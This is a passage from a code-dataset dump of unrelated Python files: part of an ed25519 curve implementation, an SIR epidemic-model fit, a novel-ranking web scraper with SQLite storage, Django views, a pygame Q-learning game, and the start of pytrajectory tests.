NoPreimage.\"\"\"\n sz,tz2,z = self._sz, self._tz2, self._z\n z2 = pow(z,2,q)\n \n if z==0:\n raise NoPreimage()\n if sz==0:\n if tz2==z2: # that is, t=1\n return fe_sqrt(i*d)\n else:\n assert( (tz2+z2)%q==0 ) # that is, t=-1\n return 0\n\n sz_2 = pow(sz,2,q)\n a = ( tz2+z2 ) * (d+1)*fe_inv(d-1)\n a2 = pow(a,2,q)\n sz_4 = pow(sz,4,q)\n try:\n y = fe_inv(fe_sqrt( i* (sz_4 - a2)))\n except NotASquare:\n raise NoPreimage()\n \n if s_is_positive==None:\n s = ( fe_inv(z)*sz ) % q\n s_is_positive = fe_is_positive(s)\n\n if s_is_positive:\n x = ( y * (a+sz_2) ) % q\n else:\n x = ( y * (a-sz_2) ) % q\n\n if fe_is_positive(x):\n return x\n else:\n return q-x\n\n\nclass Error(Exception):\n pass\n\nclass NoPreimage(Error):\n pass\n\nclass DivisionByZero(Error):\n \"\"\"raised by fe_inv and scalar_inv\"\"\"\n pass\n\nclass NotASquare(Error):\n pass\n\nclass Invalid(Error):\n pass\n\nclass Infinite(Error):\n pass\n\nclass InvalidPoint(Invalid):\n pass\n\nclass NotOnCurve(InvalidPoint):\n pass\n\nclass Odd(InvalidPoint):\n pass\n\nclass InvalidEncoding(Invalid):\n pass\n\nclass InvalidRepresentative(InvalidEncoding):\n pass\n\nclass SIsNegative(InvalidEncoding):\n pass\n\n\n# the base ReferencePoint\nReferencePoint.Zero = ReferencePoint(0,1, check=False)\nReferencePoint.B = ReferencePoint.from_y_and_sign(\n 4*fe_inv(5), True, check=False)\nReferencePoint.B.normalize()\n\n# faster implementation \nclass Point:\n @staticmethod\n def from_refpoint(a, Z=1):\n return Point(X=a.x*Z, Y=a.y*Z, Z=Z, T=a.x*a.y*Z)\n\n @staticmethod\n def random():\n return Point.from_refpoint(ReferencePoint.random(),Z=fe_random())\n\n @staticmethod\n def hash(data):\n return Point.from_refpoint(ReferencePoint.hash(data))\n\n def __init__(self, X, Y, Z, T):\n # TODO: what should we make of the case that Z=0?\n self.X = X % q\n self.Y = Y % q\n self.Z = Z % q\n self.T = T % q\n\n def Copy(self):\n return Point(X=self.X, Y=self.Y, Z=self.Z, T=self.T)\n\n def __repr__(self):\n return f\"Point({self.X}, {self.Y}, {self.Z}, {self.T})\"\n\n def __iadd__(self, other):\n if not isinstance(other, Point):\n return NotImplemented\n\n A = (self.X * other.X)%q\n B = (self.Y * other.Y)%q\n C = (d * (self.T * other.T)%q)%q\n D = (self.Z * other.Z)%q\n E = ( (self.X + self.Y)%q ) * ( (other.X + other.Y)%q ) \n E = (E-A-B)%q\n F = (D-C)%q\n G = (D+C)%q\n H = (B+A)%q\n\n self.X=E*F\n self.Y=G*H\n self.Z=F*G\n self.T=E*H\n return self\n\n def __add__(self, other):\n result = self.Copy()\n result.__iadd__(other)\n return result\n\n def __neg__(self):\n return Point(X=-self.X,Y=self.Y,T=-self.T,Z=self.Z)\n\n\n def __sub__(self, other):\n return self + -other\n\n def double_in_place(self):\n A = (self.X * self.X)%q\n B = (self.Y * self.Y)%q\n C = (2 * self.Z * self.Z)%q\n D = -A\n E = (self.X + self.Y)%q\n E = (E*E)%q\n E = (E - A - B)%q\n G = (D+B)%q\n F = (G-C)%q\n H = (D-B)%q\n\n self.X=E*F\n self.Y=G*H\n self.T=E*H\n self.Z=F*G\n\n return self\n\n def double(self):\n result = self.Copy()\n result.double_in_place()\n return result\n\n def __mul__(self, other):\n return double_and_add_multiplication(self, other, Point.Zero())\n\n def equivalence_class(self):\n # doesn't include the odd points\n X,Y,Z,T = self.X,self.Y,self.Z,self.T\n yield self.Copy()\n yield Point(X,Y,-Z,T)\n yield Point(Y,X,i*Z,-T)\n yield Point(Y,X,-i*Z,-T)\n\n def is_exactly(self, other):\n return ( self.X*other.Z - other.X*self.Z )%q==0 and \\\n ( self.Y*other.Z - other.Y*self.Z )%q==0 \n\n def __eq__(self, other):\n if not isinstance(other, Point):\n return NotImplemented\n return (self.X*other.Y - other.X*self.Y)%q==0 or \\\n (self.X*other.X - self.Y*other.Y)%q==0\n\n def is_zero(self):\n return self.X==0 or self.Y==0\n\n def refpoint(self):\n zinv = fe_inv(self.Z)\n return ReferencePoint(self.X * zinv, self.Y * zinv,check=False)\n\n @staticmethod\n def unpack(data):\n return Point.from_refpoint(ReferencePoint.unpack(data))\n\n def pack(self):\n return self.refpoint().pack()\n\n @staticmethod\n def B_times(scalar):\n scalar %= l \n result = Point.Zero()\n i = 0\n\n while(scalar>0):\n if scalar&1==1:\n result += Point.B_times_two_to_the_power[i]\n\n scalar >>= 1\n i += 1\n\n return result\n\n # since B is passed by-reference, and \"+=\" is implemented in place,\n # code like \n #\n # result = self.Point.B\n # result += result\n #\n # will change the value of B, which is undesirable.\n @staticmethod\n def B():\n return Point._B.Copy()\n\n @staticmethod\n def Zero():\n return Point._Zero.Copy()\n\n def jacobi_quartic(self):\n X,Y,Z = self.X, self.Y, self.Z\n if X==0: \n # Y/Z is now either +1 or -1\n if Y==Z:\n return JacobiQuartic(0,1,check=False)\n elif Y==q-Z:\n return JacobiQuartic(1,1,0,check=False)\n else:\n assert(False)\n\n z = ( fe_sqrt(pow(Z,2,q)-pow(Y,2,q))*X ) % q\n sz = ( (Z-Y)*X ) % q\n tz2 = ( 2*z*Z*(Z-Y)*magic ) % q\n\n return JacobiQuartic(sz, tz2, z, # check=False\n )\n\n\n def four_finite_jacobi_quartics(self):\n \"\"\"computes the (up to dual) four jacobi quartics associated\"\"\"\n \"\"\" to this point\"\"\"\n X,Y,Z = self.X, self.Y, self.Z\n if X==0 or Y==0:\n yield JacobiQuartic(0,1,check=False)\n yield JacobiQuartic(1,2*magic*i, check=False)\n yield JacobiQuartic(-1,2*magic*i, check=False)\n return\n\n gamma = fe_inv(fe_sqrt( pow(Y,4,q) * pow(X,2,q) \\\n * (pow(Z,2,q)-pow(Y,2,q))))\n\n den = gamma*pow(Y,2,q)\n s_X_inv = ( den * (Z-Y) ) % q\n s = (s_X_inv * X) % q\n t = (2*magic*s_X_inv*Z) % q\n sp_Xp_inv = ( den * (Z+Y) ) % q\n sp = (- sp_Xp_inv * X) % q\n tp = (2*magic*sp_Xp_inv*Z) % q\n\n yield JacobiQuartic(s, t, check=False)\n yield JacobiQuartic(sp, tp, check=False)\n\n den = fe_inv(fe_sqrt(1+d)) * (pow(Y,2,q)-pow(Z,2,q)) * gamma\n X,Y,Z = Y,X,(i*Z)%q\n s_X_inv = ( den * (Z-Y) ) % q\n s = (s_X_inv * X) % q\n t = (2*magic*s_X_inv*Z) % q\n sp_Xp_inv = ( den * (Z+Y) ) % q\n sp = (- sp_Xp_inv * X) % q\n tp = (2*magic*sp_Xp_inv*Z) % q\n\n yield JacobiQuartic(s, t, check=False)\n yield JacobiQuartic(sp, tp, check=False)\n\n @staticmethod\n def elligator2(x):\n return JacobiQuartic.elligator2(x).point()\n\n def elligator2_inv(self):\n for jc in self.four_finite_jacobi_quartics():\n assert(jc._z==1)\n s_is_positive = fe_is_positive( jc._sz )\n try:\n yield jc.elligator2_inv(s_is_positive)\n except NoPreimage:\n pass\n try:\n yield jc.dual().elligator2_inv(not s_is_positive)\n except NoPreimage:\n pass\n\n\n def elligator2_inv_old(self):\n \"\"\"returns all positive x for which elligator2(x)=elligator2(-x)=self\"\"\"\n for b in self.equivalence_class():\n jc = b.jacobi_quartic()\n if jc._z==0: # the result of elligator2 is always finite\n continue\n s_is_positive = fe_is_positive( fe_inv(jc._z)*jc._sz )\n try:\n yield jc.elligator2_inv(s_is_positive)\n except NoPreimage:\n pass\n try:\n yield jc.dual().elligator2_inv(not s_is_positive)\n except NoPreimage:\n pass\n\n @staticmethod\n def lizard(payload, N=16):\n \"\"\"provides what is in all probability an injection from \"\"\"\n \"\"\"the bytes of length 16 to points on the edwards curve\"\"\"\n assert(len(payload)==N)\n assert( N<=30 and N%2==0 )\n return Point.elligator2(fe_unpack(\n lizard_without_elligator(payload, N=N)))\n\n def lizard_inv(self, N=16):\n assert( N<=30 and N%2==0 )\n for x in self.elligator2_inv():\n data = fe_pack(x)\n payload = data[ 16-N//2 : 16+N//2 ]\n data_hash = bytearray(common.sha256(payload))\n\n data_hash[0] &= 0b11111110\n data_hash[31] &= 0b00111111\n \n if data[:16-N//2]==data_hash[:16-N//2] \\\n and data[16+N//2:]==data_hash[16+N//2:]:\n return payload\n raise NoPreimage()\n \ndef lizard_without_elligator(payload, N=16):\n assert( N<=30 and N%2==0 )\n assert(len(payload)==N)\n data = bytearray(common.sha256(payload))\n data[ 16-N//2 : 16+N//2 ] = payload\n data[0] &= 0b11111110\n data[31] &= 0b00111111\n return bytes(data)\n \n\n\n\nPoint._Zero = Point.from_refpoint(ReferencePoint.Zero)\nPoint._B = Point.from_refpoint(ReferencePoint.B)\n\ndef double_and_add_multiplication(self, other, zero):\n if not isinstance(other, int):\n return NotImplemented\n other %= 8*l\n result = zero\n power_of_two_times_self = self.Copy()\n\n while(other>0):\n if other&1==1:\n result += power_of_two_times_self\n\n power_of_two_times_self.double_in_place()\n other >>= 1\n\n return result\n\n# TODO: hardcode these values\nPoint.B_times_two_to_the_power = []\n_tmp = Point.B()\nfor _some_name_not_i in range(253): \n Point.B_times_two_to_the_power.append(_tmp)\n _tmp = _tmp.double()\ndel _tmp\n", "sub_path": "ed25519.py", "file_name": "ed25519.py", "file_ext": "py", "file_size_in_byte": 26075, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.randint", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 80, "usage_type": "call"}, {"api_name": "common.sha256", "line_number": 146, "usage_type": "call"}, {"api_name": "random.getrandbits", "line_number": 364, "usage_type": "call"}, {"api_name": "random.getrandbits", "line_number": 374, "usage_type": "call"}, {"api_name": "common.sha256", "line_number": 877, "usage_type": "call"}, {"api_name": "common.sha256", "line_number": 890, "usage_type": "call"}]} {"seq_id": "10210047", "text": "import networkx as nx\nimport ndlib.models.ModelConfig as mc\nimport ndlib.models.epidemics as ep\nimport csv\nimport numpy as np\nimport math\nfrom geneticalgorithm import geneticalgorithm as ga\nfrom sklearn.metrics import mean_squared_error\n\ndays =113\nn = 500\nbeta = 0.3\ngamma = 0.3\ng = nx.erdos_renyi_graph(n, 0.5)\na = int()\n\n\n\n\n# Model selection\nSIRModel = ep.SIRModel(g)\n# Model Configuration\ncfg = mc.Configuration()\ncfg.add_model_parameter('beta', beta)\ncfg.add_model_parameter('gamma', gamma)\ncfg.add_model_parameter(\"fraction_infected\", 0.3)\nSIRModel.set_initial_status(cfg)\n\n\n# Ready CSV\narq = open(\"casos_sj.csv\")\nsirSjCsv = csv.DictReader(arq,fieldnames = [\"S\",\"R\",\"I\"])\n\nmatriz_gerada = np.zeros((days,3), dtype = np.int)\nsirSj = list()\nsirS = list()\nsirI = list()\nsirR = list()\nIgerado = list()\nRgerado = list()\ni = 0\n\nfor row in sirSjCsv:\n sirSj.insert(i, { \"S\": int(row['S']), \"I\": int(row['I']), \"R\" : int(row['R'])})\n sirS.append(int(row['S']))\n sirI.append(int(row['I']))\n sirR.append(int(row['R']))\n i+=1\n\n#print(sirSj)\ndata = sirSj\n\n#print(data[0]['I'])\n\nvarbound=np.array([[0,1]]*2)\n\ndef fitness(x):\n SIRModel.reset()\n cfg.add_model_parameter('beta', x[0])\n cfg.add_model_parameter('gamma', x[1])\n SIRModel.set_initial_status(cfg)\n iterations = SIRModel.iteration_bunch(days)\n print(iterations)\n a = 0\n Igerado.clear()\n Rgerado.clear()\n for x in iterations:\n matriz_gerada[a][0] = x['node_count'][0]\n matriz_gerada[a][1] = x['node_count'][1]\n matriz_gerada[a][2] = x['node_count'][2]\n Igerado.append(x['node_count'][1])\n Rgerado.append(x['node_count'][2])\n a = a + 1\n \n print(matriz_gerada)\n print(Igerado)\n print(iterations)\n\n mseI = mean_squared_error(sirI, Igerado)\n mseR = mean_squared_error(sirR, Rgerado)\n rmseI = math.sqrt(mseI)\n rmseR = math.sqrt(mseR)\n f = (rmseI + rmseR) / 2 \n return f\n\n\nGaModel= ga(function= fitness,dimension=2,variable_type='real',variable_boundaries=varbound)\n\nGaModel.run()\n", "sub_path": "Codigos/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2041, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "networkx.erdos_renyi_graph", "line_number": 14, "usage_type": "call"}, {"api_name": "ndlib.models.epidemics.SIRModel", "line_number": 21, "usage_type": "call"}, {"api_name": "ndlib.models.epidemics", "line_number": 21, "usage_type": "name"}, {"api_name": "ndlib.models.ModelConfig.Configuration", "line_number": 23, "usage_type": "call"}, {"api_name": "ndlib.models.ModelConfig", "line_number": 23, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 79, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 80, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 81, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 82, "usage_type": "call"}, {"api_name": "geneticalgorithm.geneticalgorithm", "line_number": 87, "usage_type": "call"}]} {"seq_id": "183666085", "text": "\"\"\"\n座右铭:如果现在的生活不是你想要的,那就是你自找的.\n@project:yuke\n@author:Si_jin_hui\n@file:Spider.PY\n@ide:PyCharm\n@time:2018-08-17 10:46:15\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport requests\n\nimport sqlite3\n\nclass DBManger(object):\n connect = None\n cursor = None\n @classmethod\n def create_connect_and_cursor(cls):\n cls.connect = sqlite3.connect('kanshu.db')\n cls.cursor = cls.connect.cursor()\n @classmethod\n def create_table(cls):\n cls.cursor.execute(\n \"create table if not exists paihang(id integer primary key unique, paiming text, fenlei text, shuming text, lianjie text, zuozhe text, zongzishu text, gengxin text, souquan text, jincheng text, zongdianji text, benyuedianji text)\")\n @classmethod\n def insert_data(cls,result):\n cls.cursor.execute(\"insert into paihang(paiming,fenlei,shuming,lianjie,zuozhe,zongzishu,gengxin,souquan,jincheng,zongdianji,benyuedianji)VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')\" % (result[\"paiming\"], result[\"fenlei\"], result[\"shuming\"], result[\"lianjie\"], result[\"zuozhe\"], result[\"zongzishu\"],result[\"gengxin\"],result[\"souquan\"],result[\"jincheng\"],result[\"zongdianji\"],result[\"benyuedianji\"]))\n @classmethod\n def close(cls):\n cls.connect.commit()\n cls.cursor.close()\n cls.connect.close()\n\nclass Spider(object):\n def __init__(self):\n self.proxies = {\"http\":\"http://175.155.24.17:808\"}\n self.headers = {\"User-Agent\":\"Mozilla/5.0(Macintosh;IntelMacOSX10_7_0)AppleWebKit/535.11(KHTML,likeGecko)Chrome/17.0.963.56Safari/535.11\",}\n self.session = requests.session()\n self.result_list = []\n\n def get_book_name(self):\n base_url = \"http://top.kanshu.com/list_7_1.html\"\n # abs_url = \"http://top.kanshu.com/more/list_7_1.html?is_ajax=1&page=3&timeType=week&big_id=7\"\n\n for i in range(1,7):\n params = {\n \"is_ajax\": \"1\",\n \"page\": i,\n \"timeType\": \"week\",\n \"big_id\": \"7\"\n }\n try:\n response = requests.get(url=base_url,params=params,headers=self.headers).json()\n except Exception as e:\n print(\"连接失败,原因: \", e)\n else:\n html = response['result']['data']['html']\n bs_soup = BeautifulSoup(html,\"lxml\")\n\n paiming = bs_soup.select(\"li .sp_01\")\n fenlei = bs_soup.select(\"li .sp_02\")\n shuming = bs_soup.select(\"li .sp_03 a \")\n zuozhe = bs_soup.select(\"li .sp_04\")\n # dianji = bs_soup.select(\"li .sp_05\")\n zongzishu = bs_soup.select(\"li .sp_06\")\n gengxin = bs_soup.select(\"li .sp_07\")\n for i in range(0,len(shuming)):\n result = {\"paiming\":paiming[i].string,\"fenlei\":fenlei[i].string,\"shuming\":shuming[i].string,\"lianjie\":shuming[i][\"href\"],\"zuozhe\":zuozhe[i].string,\"zongzishu\":zongzishu[i].string,\"gengxin\":gengxin[i].string}\n self.result_list.append(result)\n\n # 定义一个函数获取子链接的内容,并将数据添加到子字典当中\n def get_info(self):\n for result_num in range(0, len(self.result_list)):\n url = self.result_list[result_num]['lianjie']\n\n try:\n print(\"正在请求子网页,url = \",url)\n response = requests.get(url,headers=self.headers).content\n except Exception as e:\n print(\"子网页连接错误,原因: \", e)\n else:\n bs_soup = BeautifulSoup(response,'lxml')\n result_info = bs_soup.select(\"#main1 .xx_xinx li .org\")\n print(\"result_num=====\",result_num)\n try:\n self.result_list[result_num].setdefault(\"souquan\",result_info[1].string)\n self.result_list[result_num].setdefault('jincheng',result_info[2].string)\n self.result_list[result_num].setdefault('zongdianji',result_info[4].string)\n self.result_list[result_num].setdefault('benyuedianji',result_info[5].string)\n except Exception as e:\n print(\"错误原因: \", e)\n else:\n DBManger.create_connect_and_cursor()\n DBManger.insert_data(self.result_list[result_num])\n DBManger.close()\n # 数据保存成功\n\n\nif __name__ == '__main__':\n spider = Spider()\n\n DBManger.create_connect_and_cursor()\n DBManger.create_table()\n\n spider.get_book_name()\n spider.get_info()\n\n # DBManger.close()\n # spider.save_data()", "sub_path": "zhengke/8-17/kanshu_Spider.py", "file_name": "kanshu_Spider.py", "file_ext": "py", "file_size_in_byte": 4709, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 38, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 53, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 78, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 82, "usage_type": "call"}]} {"seq_id": "418286176", "text": "from django.shortcuts import render, get_object_or_404\n\nfrom django.http import HttpResponse\n\nfrom .models import StudySpace\n\n\ndef index(request):\n \"\"\"\n The index page should show a list of study spaces available across all\n departments\n \"\"\"\n study_space_list = StudySpace.objects.order_by('-department')\n context = {'study_space_list': study_space_list}\n return render(request, 'StudySpaceFinderApp/index.html', context)\n\ndef study_space_page(request, slug):\n \"\"\"\n The Study Space Page should show some more information about a\n specific study space\n \"\"\"\n study_space = get_object_or_404(StudySpace, slug=slug)\n return render(request, 'StudySpaceFinderApp/study_space_detail.html', {'study_space': study_space})\n", "sub_path": "StudySpaceFinderApp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 752, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "models.StudySpace.objects.order_by", "line_number": 13, "usage_type": "call"}, {"api_name": "models.StudySpace.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "models.StudySpace", "line_number": 13, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 22, "usage_type": "call"}, {"api_name": "models.StudySpace", "line_number": 22, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}]} {"seq_id": "473625623", "text": "import random\nimport sys\nimport numpy as np\nimport pygame as pg\nfrom pygame.locals import *\n\n#setup display\ndisplay_width = 800\ndisplay_height = 400\n#setup colors\nRED = (0,139,139)\nGREEN = (0,128,0)\nWHITE = (255,255,255)\n#specify circle properties\ncircle_centre_x = 400\ncircle_centre_y = 50\ncircle_radius = 20\ncircle_y_step_falling = 40\n#specify rectangle properties\nrectangle_left = 400\nrectangle_top = 350\nrectangle_width = 200\nrectangle_height = 50\n#set hyperparameters\nlr = 0.85\ny = 0.99\n#set constants\nscore = 0\nmissed = 0\nreward = 0\n\nclass State:\n def __init__(self,rect,circle_centre_x,circle_centre_y):\n self.rect = rect\n self.circle_centre_x = circle_centre_x\n self.circle_centre_y = circle_centre_y\n\ndef score_gain_missed_count():\n font = pg.font.SysFont(None,25)\n text = font.render('Score:' + str(score),True,(238,58,140))\n text1 = font.render('Missed:' + str(missed),True,(238,58,140))\n gameDisplay.blit(text,(display_width - 120,10))\n gameDisplay.blit(text1,(display_width - 280,10))\n\ndef calculate_score(rect,s):\n if rect.left <= s <= rect.right:\n return 1\n else:\n return -1\n\ndef circle_falling(circle_radius):\n new_x = 100 - circle_radius\n multiplier = random.randint(1,8)\n new_x *= multiplier\n return new_x\n\nrct = pg.Rect(rectangle_left,rectangle_top,rectangle_width,rectangle_height)\nQ_Dic = {}\nQ = np.zeros([300,3])\n\ndef state_to_numbers(s):\n r = s.rect.left #you can also use s.rect.right\n cx = circle_centre_x #circle x position\n cy = circle_centre_y\n n = int(str(r) + str(cx) + str(cy))\n\n if n in Q_Dic:\n return Q_Dic[n]\n else:\n if len(Q_Dic):\n maximum = max(Q_Dic,key = Q_Dic.get)\n Q_Dic[n] = Q_Dic[maximum] + 1\n else:\n Q_Dic[n] = 1\n return Q_Dic[n]\n\ndef get_best_action(s):\n return np.argmax(Q[state_to_numbers(s),:])\n\ndef new_state_after_action(s,act):\n if act == 2:\n if s.rect.right + s.rect.width > display_width:\n rct = s.rect\n else:\n rct = pg.Rect(s.rect.left + s.rect.width,s.rect.top,s.rect.width,s.rect.height)\n\n elif act == 1:\n if s.rect.left - s.rect.width < 0:\n rct = s.rect\n else:\n rct = pg.Rect(s.rect.left - s.rect.width,s.rect.top,s.rect.width,s.rect.height)\n\n else:\n rct = s.rect\n\n return State(rct,circle_centre_x,circle_centre_y+circle_y_step_falling)\n\ndef new_rect_after_action(rect,act):\n if act == 2:\n if s.rect.right + s.rect.width > display_width:\n return rect\n else:\n return pg.Rect(s.rect.left + s.rect.width,s.rect.top,s.rect.width,s.rect.height)\n\n elif act == 1:\n if s.rect.left - s.rect.width < 0:\n return rect\n else:\n return pg.Rect(s.rect.left - s.rect.width,s.rect.top,s.rect.width,s.rect.height)\n\n else:\n return rect\n\n#initialize pygame\nFPS = 20\nclock = pg.time.Clock()\npg.init()\ngameDisplay = pg.display.set_mode((display_width,display_height))\npg.display.set_caption('Catch The Ball')\n\nwhile True:\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n gameDisplay.fill(WHITE)\n pg.draw.rect(gameDisplay,GREEN,rct)\n pg.draw.circle(gameDisplay,RED,(circle_centre_x,circle_centre_y),circle_radius)\n\n if circle_centre_y == display_height - rectangle_height - circle_radius:\n reward = calculate_score(rct,circle_centre_x)\n circle_centre_x = circle_falling(circle_radius)\n circle_centre_y = 50\n\n else:\n reward = 0\n circle_centre_y += circle_y_step_falling\n\n s = State(rct,circle_centre_x,circle_centre_y)\n act = get_best_action(s)\n r0 = calculate_score(s.rect,circle_centre_x)\n s1 = new_state_after_action(s,act)\n\n Q[state_to_numbers(s),act] += lr*(r0 + y*np.max(Q[state_to_numbers(s1),:]) - Q[state_to_numbers(s),act])\n rct = new_rect_after_action(s.rect,act)\n score_gain_missed_count()\n if reward == 1:\n score += reward\n elif reward == -1:\n missed += reward\n pg.display.update()\n clock.tick(FPS)\n", "sub_path": "catch.py", "file_name": "catch.py", "file_ext": "py", "file_size_in_byte": 4182, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.font.SysFont", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 39, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 78, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 117, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 119, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 122, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 122, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 124, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 125, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 127, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 128, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 144, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 151, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 151, "usage_type": "attribute"}]} {"seq_id": "29142379", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nThis file is used to test some small pytrajectory examples.\n\n\"\"\"\n\nimport unittest\nimport time\nimport sympy as sp\nimport numpy as np\nimport pytest\nfrom pytrajectory import TransitionProblem\nfrom pytrajectory import log\nfrom pytrajectory import auxiliary as aux\n\nfrom ipydex import IPS, activate_ips_on_exception\nactivate_ips_on_exception()\n\n\ndef rhs_di(x, u, uref, t, p):\n x1, x2 = x\n u1, = u\n\n ff = [x2, u1]\n\n return ff\n\n\ndef rhs_di_time_scaled(x, u, uref, t, p):\n x1, x2 = x\n u1, = u\n\n # one additional free parameter\n k, = p\n\n ff = [k*x2, k*u1]\n\n return ff\n\n\n# this does not yet work\ndef rhs_di_time_scaled_with_penalties(x, u, uref, t, p):\n x1, x2 = x\n u1, = u\n\n # one additional free parameter\n k, = p\n\n ff = [k*x2, k*u1, (k-1)**2*100]\n\n return ff\n\n# system state boundary values for a = 0.0 [s] and b = 2.0 [s]\nxa_di = [0.0, 0.0]\nxb_di = [1.0, 0.0]\n\nxa_br = [0.0, 0.0, 0.0]\nxb_br = [0.0, 0.0, 1.0]\n\n\ndef rhs_di_penalties(x, u, uref, t, p):\n x1, x2 = x\n u1, = u\n\n ff = [x2, u1, 0]\n\n return ff\n\n\ndef rhs_inv_pend(x, u, uref, t, p):\n x1, x2, x3, x4 = x # system variables\n u1, = u # input variable\n\n l = 0.5 # length of the pendulum\n g = 9.81 # gravitational acceleration\n\n # this is the vectorfield\n ff = [x2,\n u1,\n x4,\n (1/l)*(g*sp.sin(x3) + u1*sp.cos(x3))]\n\n return ff\n\n\ndef rhs_brockett_system(x, u, uref, t, p):\n x1, x2, x3 = x # system variables\n u1, u2 = u # input variables\n # this is the vectorfield\n\n ff = [u1,\n u2,\n x2*u1-x1*u2]\n\n return ff\n\n# a = 0.0\nxa_inv_pend = [0.0, 0.0, np.pi, 0.0]\n# b = 3.0\nxb_inv_pend = [0.0, 0.0, 0.0, 0.0]\n\n\nlogfname = \"test_log.txt\"\n\nwith open(logfname, \"w\") as txtfile:\n txtfile.write(\"\\n\")\n\n\ndef log_tst_case(name):\n with open(logfname, \"a\") as txtfile:\n logstr = f\"{time.ctime()} {name}\\n\"\n txtfile.write(logstr)\n\n\n# noinspection PyPep8Naming\nclass TestExamples(unittest.TestCase):\n\n def setUp(self):\n log_tst_case(self._testMethodName)\n\n def test_di_integrator_pure(self):\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_integrator_pure_seed(self):\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n use_chains=False,\n maxIt=1,\n seed=0)\n S1.solve()\n\n S2 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n use_chains=False,\n maxIt=1,\n seed=1141)\n\n S2.solve()\n\n # assert that the different seed has taken effect\n assert S1.eqs.solver.res_list[0] != S2.eqs.solver.res_list[0]\n assert S2.eqs._first_guess == {\"seed\": 1141}\n\n assert S1.reached_accuracy\n assert S2.reached_accuracy\n\n def test_di_integrator_pure_with_random_guess(self):\n first_guess = {'seed': 20}\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n first_guess=first_guess,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n def test_di_integrator_pure_with_complete_guess(self):\n\n # solve Problem for the first time\n first_guess = {'seed': 20}\n S1 = TransitionProblem(rhs_di, a=0.0, b=2.0, xa=xa_di, xb=xb_di, ua=0, ub=0,\n show_ir=False,\n ierr=None,\n first_guess=first_guess,\n use_chains=False)\n S1.solve()\n assert S1.reached_accuracy\n\n first_guess2 = {'complete_guess': S1.eqs.sol,\n 'n_spline_parts': 